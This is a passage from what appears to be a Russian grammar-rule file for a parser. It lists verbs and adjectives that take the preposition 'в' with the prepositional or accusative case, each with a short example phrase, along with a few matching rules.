понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) 